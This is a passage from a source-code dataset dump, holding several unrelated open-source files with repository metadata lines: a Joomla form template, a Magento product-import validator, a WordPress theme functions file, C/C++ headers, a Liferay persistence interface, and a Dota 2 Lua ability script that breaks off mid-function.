;0 1, Parsing a command. 0, not parsing, idle.
;1,2 0,0 sign character unknown
; 0,1 - sign
; 1,0 + sign
; 1,1 unsigned
;3,4,5 next index in the ParserArgumentBuffer, read as a 3-bit binary number
;6 unused
;7 1: have seen at least one 'starting zero'
;MSB
ParserStateBits DB ?
; Store parsed numbers known to be arguments of a command
; indexed by state bits 3-5
ParserNumericalArgumentBuffer DB Parser_MAX_DIGITS DUP (?)
DATA ENDS
END | sssundar/RoboTrike | Motor/Parser.asm | Assembly | gpl-2.0 | 45,643 |
<?php
defined('_JEXEC') or die;
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
?>
<form
action="<?php echo JRoute::_('index.php?option=com_bookpro&id=' . (int) $this->item->id); ?>"
method="post" id="adminForm" name="adminForm" class="form-validate">
<div class="row-fluid">
<div class="span10 form-horizontal">
<fieldset>
<div class="control-group">
<!--
<label class="control-label" for="title"><?php echo JText::_('COM_BOOKPRO_TOURS'); ?>
</label>
<div class="controls">
<?php echo $this->form->getInput('tour_id'); ?>
</div>
</div>
-->
<div class="control-group">
<div class="control-label"><?php echo $this->form->getLabel('title'); ?></div>
<div class="controls"><?php echo $this->form->getInput('title'); ?></div>
</div>
<div class="control-group">
<div class="control-label"><?php echo $this->form->getLabel('type'); ?></div>
<div class="controls"><?php echo $this->form->getInput('type'); ?></div>
</div>
<div class="control-group">
<div class="control-label"><?php echo $this->form->getLabel('obj_id'); ?></div>
<div class="controls"><?php echo $this->form->getInput('obj_id'); ?></div>
</div>
<div class="control-group">
<div class="control-label"><?php echo $this->form->getLabel('desc'); ?></div>
<div class="controls"><?php echo $this->form->getInput('desc'); ?></div>
</div>
</fieldset>
</div>
<?php echo JLayoutHelper::render('joomla.edit.details', $this); ?>
</div>
<div>
<?php echo $this->form->getInput('tour_id',null,$this->tour_id); ?>
<input type="hidden" name="task" value="" />
<input type="hidden" name="return" value="<?php echo JRequest::getCmd('return');?>" />
<?php echo JHtml::_('form.token'); ?>
</div>
</form>
| cuongnd/test_pro | administrator/components/com_bookpro/views/faq/tmpl/edit.php | PHP | gpl-2.0 | 1,925 |
//
// Copyright (C) 2010 Piotr Zagawa
//
// Released under BSD License
//
#pragma once
#include "sqlite3.h"
#include "SqlCommon.h"
#include "SqlFieldSet.h"
#include "SqlRecordSet.h"
namespace sql
{
class Table
{
private:
sqlite3* _db;
string _tableName;
RecordSet _recordset;
public:
Table(sqlite3* db, string tableName, Field* definition);
Table(sqlite3* db, string tableName, FieldSet* fields);
public:
string name();
string getDefinition();
string toString();
string errMsg();
FieldSet* fields();
sqlite3* getHandle();
public:
bool create();
bool exists();
bool remove();
bool truncate();
public:
bool open();
bool open(string whereCondition);
bool open(string whereCondition, string sortBy);
bool query(string queryStr);
int totalRecordCount();
public:
int recordCount();
Record* getRecord(int record_index);
Record* getTopRecord();
Record* getRecordByKeyId(integer keyId);
public:
bool addRecord(Record* record);
bool updateRecord(Record* record);
bool deleteRecords(string whereCondition);
bool copyRecords(Table& source);
bool backup(Table& source);
public:
static Table* createFromDefinition(sqlite3* db, string tableName, string fieldsDefinition);
};
//sql eof
};
| WhiteWind/wwdedup | easySQLite/SqlTable.h | C | gpl-2.0 | 1,295 |
/* ASE - Allegro Sprite Editor
* Copyright (C) 2001-2011 David Capello
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#ifndef COMMANDS_FILTERS_FILTER_WINDOW_H_INCLUDED
#define COMMANDS_FILTERS_FILTER_WINDOW_H_INCLUDED
#include "gui/box.h"
#include "gui/button.h"
#include "gui/frame.h"
#include "commands/filters/filter_preview.h"
#include "commands/filters/filter_target_buttons.h"
#include "filters/tiled_mode.h"
class FilterManagerImpl;
// A generic window to show parameters for a Filter with integrated
// preview in the current editor.
class FilterWindow : public Frame
{
public:
enum WithChannels { WithChannelsSelector, WithoutChannelsSelector };
enum WithTiled { WithTiledCheckBox, WithoutTiledCheckBox };
FilterWindow(const char* title, const char* cfgSection,
FilterManagerImpl* filterMgr,
WithChannels withChannels,
WithTiled withTiled,
TiledMode tiledMode = TILED_NONE);
~FilterWindow();
// Shows the window as modal (blocking interface), and returns true
// if the user pressed "OK" button (i.e. wants to apply the filter
// with the current settings).
bool doModal();
// Starts (or restart) the preview procedure. You should call this
// method each time the user modifies parameters of the Filter.
void restartPreview();
protected:
// Changes the target buttons. Used by convolution matrix filter
// which specified different targets for each matrix.
void setNewTarget(Target target);
// Returns the container where derived classes should put controls.
Widget* getContainer() { return &m_container; }
void onOk(Event& ev);
void onCancel(Event& ev);
void onShowPreview(Event& ev);
void onTargetButtonChange();
void onTiledChange();
// Derived classes WithTiledCheckBox should set its filter's tiled
// mode overriding this method.
virtual void setupTiledMode(TiledMode tiledMode) { }
private:
const char* m_cfgSection;
FilterManagerImpl* m_filterMgr;
Box m_hbox;
Box m_vbox;
Box m_container;
Button m_okButton;
Button m_cancelButton;
FilterPreview m_preview;
FilterTargetButtons m_targetButton;
CheckBox m_showPreview;
CheckBox* m_tiledCheck;
};
#endif
| Skiles/aseprite | src/commands/filters/filter_window.h | C | gpl-2.0 | 2,945 |
<?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
namespace Magento\CatalogImportExport\Model\Import\Product;
use Magento\CatalogImportExport\Model\Import\Product;
use Magento\Framework\Validator\AbstractValidator;
use Magento\Catalog\Model\Product\Attribute\Backend\Sku;
/**
* Class Validator
*
* @api
* @since 100.0.2
*/
class Validator extends AbstractValidator implements RowValidatorInterface
{
/**
* @var RowValidatorInterface[]|AbstractValidator[]
*/
protected $validators = [];
/**
* @var \Magento\CatalogImportExport\Model\Import\Product
*/
protected $context;
/**
* @var \Magento\Framework\Stdlib\StringUtils
*/
protected $string;
/**
* @var array
*/
protected $_uniqueAttributes;
/**
* @var array
*/
protected $_rowData;
/**
* @var string|null
* @since 100.1.0
*/
protected $invalidAttribute;
/**
* @param \Magento\Framework\Stdlib\StringUtils $string
* @param RowValidatorInterface[] $validators
*/
public function __construct(
\Magento\Framework\Stdlib\StringUtils $string,
$validators = []
) {
$this->string = $string;
$this->validators = $validators;
}
/**
* Text validation
*
* @param mixed $attrCode
* @param string $type
* @return bool
*/
protected function textValidation($attrCode, $type)
{
$val = $this->string->cleanString($this->_rowData[$attrCode]);
if ($type == 'text') {
$valid = $this->string->strlen($val) < Product::DB_MAX_TEXT_LENGTH;
} else if ($attrCode == Product::COL_SKU) {
$valid = $this->string->strlen($val) <= SKU::SKU_MAX_LENGTH;
} else {
$valid = $this->string->strlen($val) < Product::DB_MAX_VARCHAR_LENGTH;
}
if (!$valid) {
$this->_addMessages([RowValidatorInterface::ERROR_EXCEEDED_MAX_LENGTH]);
}
return $valid;
}
/**
* Check if value is valid attribute option
*
* @param string $attrCode
* @param array $possibleOptions
* @param string $value
* @return bool
*/
private function validateOption($attrCode, $possibleOptions, $value)
{
if (!isset($possibleOptions[strtolower($value)])) {
$this->_addMessages(
[
sprintf(
$this->context->retrieveMessageTemplate(
RowValidatorInterface::ERROR_INVALID_ATTRIBUTE_OPTION
),
$attrCode
)
]
);
return false;
}
return true;
}
/**
* Numeric validation
*
* @param mixed $attrCode
* @param string $type
* @return bool
*/
protected function numericValidation($attrCode, $type)
{
$val = trim($this->_rowData[$attrCode]);
if ($type == 'int') {
$valid = (string)(int)$val === $val;
} else {
$valid = is_numeric($val);
}
if (!$valid) {
$this->_addMessages(
[
sprintf(
$this->context->retrieveMessageTemplate(RowValidatorInterface::ERROR_INVALID_ATTRIBUTE_TYPE),
$attrCode,
$type
)
]
);
}
return $valid;
}
/**
* Is required attribute valid
*
* @param string $attrCode
* @param array $attributeParams
* @param array $rowData
* @return bool
*/
public function isRequiredAttributeValid($attrCode, array $attributeParams, array $rowData)
{
$doCheck = false;
if ($attrCode == Product::COL_SKU) {
$doCheck = true;
} elseif ($attrCode == 'price') {
$doCheck = false;
} elseif ($attributeParams['is_required'] && $this->getRowScope($rowData) == Product::SCOPE_DEFAULT
&& $this->context->getBehavior() != \Magento\ImportExport\Model\Import::BEHAVIOR_DELETE
) {
$doCheck = true;
}
if ($doCheck === true) {
return isset($rowData[$attrCode])
&& strlen(trim($rowData[$attrCode]))
&& trim($rowData[$attrCode]) !== $this->context->getEmptyAttributeValueConstant();
}
return true;
}
/**
* Is attribute valid
*
* @param string $attrCode
* @param array $attrParams
* @param array $rowData
* @return bool
* @SuppressWarnings(PHPMD.CyclomaticComplexity)
* @SuppressWarnings(PHPMD.NPathComplexity)
*/
public function isAttributeValid($attrCode, array $attrParams, array $rowData)
{
$this->_rowData = $rowData;
if (isset($rowData['product_type']) && !empty($attrParams['apply_to'])
&& !in_array($rowData['product_type'], $attrParams['apply_to'])
) {
return true;
}
if (!$this->isRequiredAttributeValid($attrCode, $attrParams, $rowData)) {
$valid = false;
$this->_addMessages(
[
sprintf(
$this->context->retrieveMessageTemplate(
RowValidatorInterface::ERROR_VALUE_IS_REQUIRED
),
$attrCode
)
]
);
return $valid;
}
if (!strlen(trim($rowData[$attrCode]))) {
return true;
}
if ($rowData[$attrCode] === $this->context->getEmptyAttributeValueConstant() && !$attrParams['is_required']) {
return true;
}
switch ($attrParams['type']) {
case 'varchar':
case 'text':
$valid = $this->textValidation($attrCode, $attrParams['type']);
break;
case 'decimal':
case 'int':
$valid = $this->numericValidation($attrCode, $attrParams['type']);
break;
case 'select':
case 'boolean':
$valid = $this->validateOption($attrCode, $attrParams['options'], $rowData[$attrCode]);
break;
case 'multiselect':
$values = $this->context->parseMultiselectValues($rowData[$attrCode]);
foreach ($values as $value) {
$valid = $this->validateOption($attrCode, $attrParams['options'], $value);
if (!$valid) {
break;
}
}
$uniqueValues = array_unique($values);
if (count($uniqueValues) != count($values)) {
$valid = false;
$this->_addMessages([RowValidatorInterface::ERROR_DUPLICATE_MULTISELECT_VALUES]);
}
break;
case 'datetime':
$val = trim($rowData[$attrCode]);
$valid = strtotime($val) !== false;
if (!$valid) {
$this->_addMessages([RowValidatorInterface::ERROR_INVALID_ATTRIBUTE_TYPE]);
}
break;
default:
$valid = true;
break;
}
if ($valid && !empty($attrParams['is_unique'])) {
if (isset($this->_uniqueAttributes[$attrCode][$rowData[$attrCode]])
&& ($this->_uniqueAttributes[$attrCode][$rowData[$attrCode]] != $rowData[Product::COL_SKU])) {
$this->_addMessages([RowValidatorInterface::ERROR_DUPLICATE_UNIQUE_ATTRIBUTE]);
return false;
}
$this->_uniqueAttributes[$attrCode][$rowData[$attrCode]] = $rowData[Product::COL_SKU];
}
if (!$valid) {
$this->setInvalidAttribute($attrCode);
}
return (bool)$valid;
}
/**
* Set invalid attribute
*
* @param string|null $attribute
* @return void
* @since 100.1.0
*/
protected function setInvalidAttribute($attribute)
{
$this->invalidAttribute = $attribute;
}
/**
* Get invalid attribute
*
* @return string
* @since 100.1.0
*/
public function getInvalidAttribute()
{
return $this->invalidAttribute;
}
/**
* Is valid attributes
*
* @return bool
* @SuppressWarnings(PHPMD.UnusedLocalVariable)
*/
protected function isValidAttributes()
{
$this->_clearMessages();
$this->setInvalidAttribute(null);
if (!isset($this->_rowData['product_type'])) {
return false;
}
$entityTypeModel = $this->context->retrieveProductTypeByName($this->_rowData['product_type']);
if ($entityTypeModel) {
foreach ($this->_rowData as $attrCode => $attrValue) {
$attrParams = $entityTypeModel->retrieveAttributeFromCache($attrCode);
if ($attrParams) {
$this->isAttributeValid($attrCode, $attrParams, $this->_rowData);
}
}
if ($this->getMessages()) {
return false;
}
}
return true;
}
/**
* @inheritdoc
*/
public function isValid($value)
{
$this->_rowData = $value;
$this->_clearMessages();
$returnValue = $this->isValidAttributes();
foreach ($this->validators as $validator) {
if (!$validator->isValid($value)) {
$returnValue = false;
$this->_addMessages($validator->getMessages());
}
}
return $returnValue;
}
/**
* Obtain scope of the row from row data.
*
* @param array $rowData
* @return int
*/
public function getRowScope(array $rowData)
{
if (empty($rowData[Product::COL_STORE])) {
return Product::SCOPE_DEFAULT;
}
return Product::SCOPE_STORE;
}
/**
* Init
*
* @param \Magento\CatalogImportExport\Model\Import\Product $context
* @return $this
*/
public function init($context)
{
$this->context = $context;
foreach ($this->validators as $validator) {
$validator->init($context);
}
}
}
| kunj1988/Magento2 | app/code/Magento/CatalogImportExport/Model/Import/Product/Validator.php | PHP | gpl-2.0 | 10,486 |
<?php
/**
* Humescores functions and definitions.
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package Humescores
*/
if ( ! function_exists( 'humescores_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function humescores_setup() {
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on Humescores, use a find and replace
* to change 'humescores' to the name of your theme in all the template files.
*/
load_theme_textdomain( 'humescores', get_template_directory() . '/languages' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
*/
add_theme_support( 'post-thumbnails' );
// This theme uses wp_nav_menu() in one location.
register_nav_menus( array(
'primary' => esc_html__( 'Header', 'humescores' ),
'social' => esc_html__( 'Social Media Menu', 'humescores' ),
) );
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support( 'html5', array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
) );
// Set up the WordPress core custom background feature.
add_theme_support( 'custom-background', apply_filters( 'humescores_custom_background_args', array(
'default-color' => 'ffffff',
'default-image' => '',
) ) );
// Add theme support for Custom Logo
add_theme_support( 'custom-logo', array(
'width' => 90,
'height' => 90,
'flex-width' => true,
));
}
endif;
add_action( 'after_setup_theme', 'humescores_setup' );
/**
* Register custom fonts.
*/
function humescores_fonts_url() {
$fonts_url = '';
/**
* Translators: If there are characters in your language that are not
* supported by Source Sans Pro and PT Serif, translate this to 'off'. Do not translate
* into your own language.
*/
$source_sans_pro = _x( 'on', 'Source Sans Pro font: on or off', 'humescores' );
$pt_serif = _x( 'on', 'PT Serif font: on or off', 'humescores' );
$font_families = array();
if ( 'off' !== $source_sans_pro ) {
$font_families[] = 'Source Sans Pro:400,400i,700,900';
}
if ( 'off' !== $pt_serif ) {
$font_families[] = 'PT Serif:400,400i,700,700i';
}
if ( in_array( 'on', array($source_sans_pro, $pt_serif) ) ) {
$query_args = array(
'family' => urlencode( implode( '|', $font_families ) ),
'subset' => urlencode( 'latin,latin-ext' ),
);
$fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
}
return esc_url_raw( $fonts_url );
}
/**
* Add preconnect for Google Fonts.
*
* @since Twenty Seventeen 1.0
*
* @param array $urls URLs to print for resource hints.
* @param string $relation_type The relation type the URLs are printed.
* @return array $urls URLs to print for resource hints.
*/
function humescores_resource_hints( $urls, $relation_type ) {
if ( wp_style_is( 'humescores-fonts', 'queue' ) && 'preconnect' === $relation_type ) {
$urls[] = array(
'href' => 'https://fonts.gstatic.com',
'crossorigin',
);
}
return $urls;
}
add_filter( 'wp_resource_hints', 'humescores_resource_hints', 10, 2 );
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*/
function humescores_content_width() {
$GLOBALS['content_width'] = apply_filters( 'humescores_content_width', 640 );
}
add_action( 'after_setup_theme', 'humescores_content_width', 0 );
/**
* Register widget area.
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*/
function humescores_widgets_init() {
register_sidebar( array(
'name' => esc_html__( 'Sidebar', 'humescores' ),
'id' => 'sidebar-1',
'description' => esc_html__( 'Add widgets here.', 'humescores' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
}
add_action( 'widgets_init', 'humescores_widgets_init' );
/**
* Enqueue scripts and styles.
*/
function humescores_scripts() {
// Enqueue Google Fonts: Source Sans Pro and PT Serif
wp_enqueue_style( 'humescores-fonts', humescores_fonts_url() );
wp_enqueue_style( 'humescores-style', get_stylesheet_uri() );
wp_enqueue_script( 'humescores-navigation', get_template_directory_uri() . '/js/navigation.js', array('jquery'), '20151215', true );
wp_localize_script( 'humescores-navigation', 'humescoresScreenReaderText', array(
'expand' => __( 'Expand child menu', 'humescores'),
'collapse' => __( 'Collapse child menu', 'humescores'),
));
wp_enqueue_script( 'humescores-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20151215', true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'humescores_scripts' );
/**
* Implement the Custom Header feature.
*/
require get_template_directory() . '/inc/custom-header.php';
/**
* Custom template tags for this theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Custom functions that act independently of the theme templates.
*/
require get_template_directory() . '/inc/extras.php';
/**
* Customizer additions.
*/
require get_template_directory() . '/inc/customizer.php';
/**
* Load Jetpack compatibility file.
*/
require get_template_directory() . '/inc/jetpack.php';
| spraveenitpro/humescores | functions.php | PHP | gpl-2.0 | 6,984 |
/**
* Copyright (c) 2000-2012 Liferay, Inc. All rights reserved.
*
* This library is free software; you can redistribute it and/or modify it under
* the terms of the GNU Lesser General Public License as published by the Free
* Software Foundation; either version 2.1 of the License, or (at your option)
* any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
* details.
*/
package com.iucn.whp.dbservice.service.persistence;
import com.iucn.whp.dbservice.model.benefit_rating_lkp;
import com.liferay.portal.service.persistence.BasePersistence;
/**
* The persistence interface for the benefit_rating_lkp service.
*
* <p>
* Caching information and settings can be found in <code>portal.properties</code>
* </p>
*
* @author alok.sen
* @see benefit_rating_lkpPersistenceImpl
* @see benefit_rating_lkpUtil
* @generated
*/
public interface benefit_rating_lkpPersistence extends BasePersistence<benefit_rating_lkp> {
/*
* NOTE FOR DEVELOPERS:
*
* Never modify or reference this interface directly. Always use {@link benefit_rating_lkpUtil} to access the benefit_rating_lkp persistence. Modify <code>service.xml</code> and rerun ServiceBuilder to regenerate this interface.
*/
/**
* Caches the benefit_rating_lkp in the entity cache if it is enabled.
*
* @param benefit_rating_lkp the benefit_rating_lkp
*/
public void cacheResult(
com.iucn.whp.dbservice.model.benefit_rating_lkp benefit_rating_lkp);
/**
* Caches the benefit_rating_lkps in the entity cache if it is enabled.
*
* @param benefit_rating_lkps the benefit_rating_lkps
*/
public void cacheResult(
java.util.List<com.iucn.whp.dbservice.model.benefit_rating_lkp> benefit_rating_lkps);
/**
* Creates a new benefit_rating_lkp with the primary key. Does not add the benefit_rating_lkp to the database.
*
* @param id the primary key for the new benefit_rating_lkp
* @return the new benefit_rating_lkp
*/
public com.iucn.whp.dbservice.model.benefit_rating_lkp create(long id);
/**
* Removes the benefit_rating_lkp with the primary key from the database. Also notifies the appropriate model listeners.
*
* @param id the primary key of the benefit_rating_lkp
* @return the benefit_rating_lkp that was removed
* @throws com.iucn.whp.dbservice.NoSuchbenefit_rating_lkpException if a benefit_rating_lkp with the primary key could not be found
* @throws SystemException if a system exception occurred
*/
public com.iucn.whp.dbservice.model.benefit_rating_lkp remove(long id)
throws com.iucn.whp.dbservice.NoSuchbenefit_rating_lkpException,
com.liferay.portal.kernel.exception.SystemException;
public com.iucn.whp.dbservice.model.benefit_rating_lkp updateImpl(
com.iucn.whp.dbservice.model.benefit_rating_lkp benefit_rating_lkp,
boolean merge)
throws com.liferay.portal.kernel.exception.SystemException;
/**
* Returns the benefit_rating_lkp with the primary key or throws a {@link com.iucn.whp.dbservice.NoSuchbenefit_rating_lkpException} if it could not be found.
*
* @param id the primary key of the benefit_rating_lkp
* @return the benefit_rating_lkp
* @throws com.iucn.whp.dbservice.NoSuchbenefit_rating_lkpException if a benefit_rating_lkp with the primary key could not be found
* @throws SystemException if a system exception occurred
*/
public com.iucn.whp.dbservice.model.benefit_rating_lkp findByPrimaryKey(
long id)
throws com.iucn.whp.dbservice.NoSuchbenefit_rating_lkpException,
com.liferay.portal.kernel.exception.SystemException;
/**
* Returns the benefit_rating_lkp with the primary key or returns <code>null</code> if it could not be found.
*
* @param id the primary key of the benefit_rating_lkp
* @return the benefit_rating_lkp, or <code>null</code> if a benefit_rating_lkp with the primary key could not be found
* @throws SystemException if a system exception occurred
*/
public com.iucn.whp.dbservice.model.benefit_rating_lkp fetchByPrimaryKey(
long id) throws com.liferay.portal.kernel.exception.SystemException;
/**
* Returns all the benefit_rating_lkps.
*
* @return the benefit_rating_lkps
* @throws SystemException if a system exception occurred
*/
public java.util.List<com.iucn.whp.dbservice.model.benefit_rating_lkp> findAll()
throws com.liferay.portal.kernel.exception.SystemException;
/**
* Returns a range of all the benefit_rating_lkps.
*
* <p>
* Useful when paginating results. Returns a maximum of <code>end - start</code> instances. <code>start</code> and <code>end</code> are not primary keys, they are indexes in the result set. Thus, <code>0</code> refers to the first result in the set. Setting both <code>start</code> and <code>end</code> to {@link com.liferay.portal.kernel.dao.orm.QueryUtil#ALL_POS} will return the full result set.
* </p>
*
* @param start the lower bound of the range of benefit_rating_lkps
* @param end the upper bound of the range of benefit_rating_lkps (not inclusive)
* @return the range of benefit_rating_lkps
* @throws SystemException if a system exception occurred
*/
public java.util.List<com.iucn.whp.dbservice.model.benefit_rating_lkp> findAll(
int start, int end)
throws com.liferay.portal.kernel.exception.SystemException;
/**
* Returns an ordered range of all the benefit_rating_lkps.
*
* <p>
* Useful when paginating results. Returns a maximum of <code>end - start</code> instances. <code>start</code> and <code>end</code> are not primary keys, they are indexes in the result set. Thus, <code>0</code> refers to the first result in the set. Setting both <code>start</code> and <code>end</code> to {@link com.liferay.portal.kernel.dao.orm.QueryUtil#ALL_POS} will return the full result set.
* </p>
*
* @param start the lower bound of the range of benefit_rating_lkps
* @param end the upper bound of the range of benefit_rating_lkps (not inclusive)
* @param orderByComparator the comparator to order the results by (optionally <code>null</code>)
* @return the ordered range of benefit_rating_lkps
* @throws SystemException if a system exception occurred
*/
public java.util.List<com.iucn.whp.dbservice.model.benefit_rating_lkp> findAll(
int start, int end,
com.liferay.portal.kernel.util.OrderByComparator orderByComparator)
throws com.liferay.portal.kernel.exception.SystemException;
/**
* Removes all the benefit_rating_lkps from the database.
*
* @throws SystemException if a system exception occurred
*/
public void removeAll()
throws com.liferay.portal.kernel.exception.SystemException;
/**
* Returns the number of benefit_rating_lkps.
*
* @return the number of benefit_rating_lkps
* @throws SystemException if a system exception occurred
*/
public int countAll()
throws com.liferay.portal.kernel.exception.SystemException;
} | iucn-whp/world-heritage-outlook | portlets/iucn-dbservice-portlet/docroot/WEB-INF/service/com/iucn/whp/dbservice/service/persistence/benefit_rating_lkpPersistence.java | Java | gpl-2.0 | 6,928 |
/* -*- mode: c -*- */
/* $Id$ */
/* Copyright (C) 2004-2013 Alexander Chernov <[email protected]> */
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#include "checker_internal.h"
#include <errno.h>
#include "l10n_impl.h"
int
checker_read_int(
int ind,
const char *name,
int eof_error_flag,
int *p_val)
{
int x;
char sb[128], *db = 0, *vb = 0, *ep = 0;
size_t ds = 0;
if (!name) name = "";
vb = checker_read_buf_2(ind, name, eof_error_flag, sb, sizeof(sb), &db, &ds);
if (!vb) return -1;
if (!*vb) {
fatal_read(ind, _("%s: no int32 value"), name);
}
errno = 0;
x = strtol(vb, &ep, 10);
if (*ep) {
fatal_read(ind, _("%s: cannot parse int32 value"), name);
}
if (errno) {
fatal_read(ind, _("%s: int32 value is out of range"), name);
}
*p_val = x;
return 1;
}
| misty-fungus/ejudge-debian | checkers/read_int.c | C | gpl-2.0 | 1,296 |
require("libraries/timers")
function LifeSteal( keys )
local caster = keys.caster
local ability = keys.ability
local ability_level = ability:GetLevel() - 1
local cooldown = ability:GetCooldown(ability_level)
if ability:IsCooldownReady() then
ability:StartCooldown(cooldown)
caster:EmitSound("Hero_LifeStealer.OpenWounds.Cast")
caster:Heal(caster:GetAttackDamage() * ability:GetSpecialValueFor("lifesteal") / 100, caster)
SendOverheadEventMessage(nil, OVERHEAD_ALERT_HEAL, caster, caster:GetAttackDamage() * ability:GetSpecialValueFor("lifesteal") / 100, nil)
local lifesteal_pfx = ParticleManager:CreateParticle("particles/generic_gameplay/generic_lifesteal.vpcf", PATTACH_ABSORIGIN_FOLLOW, caster)
ParticleManager:SetParticleControl(lifesteal_pfx, 0, caster:GetAbsOrigin())
ParticleManager:ReleaseParticleIndex(lifesteal_pfx)
end
end
function KoboldArmy( keys )
local caster = keys.caster
local player = caster:GetPlayerOwnerID()
local ability = keys.ability
local unit_name = caster:GetUnitName()
local kobold_count = ability:GetLevelSpecialValueFor("kobold_count", (ability:GetLevel() - 1))
local duration = ability:GetLevelSpecialValueFor("duration", (ability:GetLevel() - 1))
local casterOrigin = caster:GetAbsOrigin()
local casterAngles = caster:GetAngles()
-- Stop any actions of the caster otherwise its obvious which unit is real
caster:Stop()
-- Initialize the illusion table to keep track of the units created by the spell
if not caster.kobold_super_illusions then
caster.kobold_super_illusions = {}
end
-- Kill the old images
for k,v in pairs(caster.kobold_super_illusions) do
if v and IsValidEntity(v) then
v:ForceKill(false)
end
end
-- Start a clean illusion table
caster.kobold_super_illusions = {}
-- Setup a table of potential spawn positions
local vRandomSpawnPos = {
Vector( 72, 0, 0 ), -- North
Vector( 0, 72, 0 ), -- East
Vector( -72, 0, 0 ), -- South
Vector( 72, -72, 0 ), -- West
Vector( -72, -72, 0 ), -- West
Vector( -72, 0, 72 ), -- West
}
for i = #vRandomSpawnPos, 2, -1 do -- Simply shuffle them
local j = RandomInt( 1, i )
vRandomSpawnPos[i], vRandomSpawnPos[j] = vRandomSpawnPos[j], vRandomSpawnPos[i]
end
-- Insert the center position and make sure that at least one of the units will be spawned on there.
table.insert( vRandomSpawnPos, RandomInt( 1, kobold_count ), Vector( 0, 0, 0 ) )
-- At first, move the main hero to one of the random spawn positions.
FindClearSpaceForUnit( caster, casterOrigin + table.remove( vRandomSpawnPos, 1 ), true )
-- Spawn illusions
for i = 1, kobold_count do
local origin = casterOrigin + table.remove( vRandomSpawnPos, 1 )
-- handle_UnitOwner needs to be nil, else it will crash the game.
local double = CreateUnitByName(unit_name, origin, true, caster, nil, caster:GetTeamNumber())
double:SetOwner(caster)
double:SetControllableByPlayer(player, true)
double:SetAngles( casterAngles.x, casterAngles.y, casterAngles.z )
local double_particle = ParticleManager:CreateParticle("particles/units/heroes/hero_arc_warden/arc_warden_tempest_buff.vpcf", PATTACH_CUSTOMORIGIN, double)
ParticleManager:SetParticleControl(double_particle, 0, double:GetAbsOrigin())
ParticleManager:SetParticleControl(double_particle, 1, double:GetAbsOrigin())
ParticleManager:SetParticleControl(double_particle, 2, double:GetAbsOrigin())
-- Level Up the unit to the casters level
local casterLevel = caster:GetLevel()
for i=1,casterLevel-1 do
double:HeroLevelUp(false)
end
double:SetBaseStrength(caster:GetBaseStrength())
double:SetBaseIntellect(caster:GetBaseIntellect())
double:SetBaseAgility(caster:GetBaseAgility())
double:SetMaximumGoldBounty(0)
double:SetMinimumGoldBounty(0)
double:SetDeathXP(0)
double:SetAbilityPoints(0)
double:SetHasInventory(true)
double:SetCanSellItems(false)
Timers:CreateTimer(duration - 0.1, function()
UTIL_Remove(double)
end)
-- Useless since they are removed before, just shows duration of the illusions
ability:ApplyDataDrivenModifier(caster, double, "modifier_kill", {duration = duration})
-- Learn the skills of the caster
for abilitySlot = 0, 15 do
local ability = caster:GetAbilityByIndex(abilitySlot)
if ability then
local abilityLevel = ability:GetLevel()
local abilityName = ability:GetAbilityName()
local doubleAbility = double:FindAbilityByName(abilityName)
if IsValidEntity(doubleAbility) then
doubleAbility:SetLevel(abilityLevel)
end
if ability:GetName() == "holdout_kobold_army" then
doubleAbility:SetActivated(false)
double:RemoveModifierByName("modifier_reincarnation")
double:SetRespawnsDisabled(true)
end
end
end
-- Recreate the items of the caster
for itemSlot = 0, 5 do
local item = caster:GetItemInSlot(itemSlot)
if item and item:GetName() ~= "item_ankh_of_reincarnation" and item:GetName() ~= "item_shield_of_invincibility" and item:GetName() ~= "item_xhs_cloak_of_flames" and item:GetName() ~= "item_orb_of_fire" and item:GetName() ~= "item_orb_of_fire2" and item:GetName() ~= "item_searing_blade" then
local newItem = CreateItem(item:GetName(), double, double)
double:AddItem(newItem)
end
end
-- Set the illusion hp to be the same as the caster
double:SetHealth(caster:GetHealth())
double:SetMana(caster:GetMana())
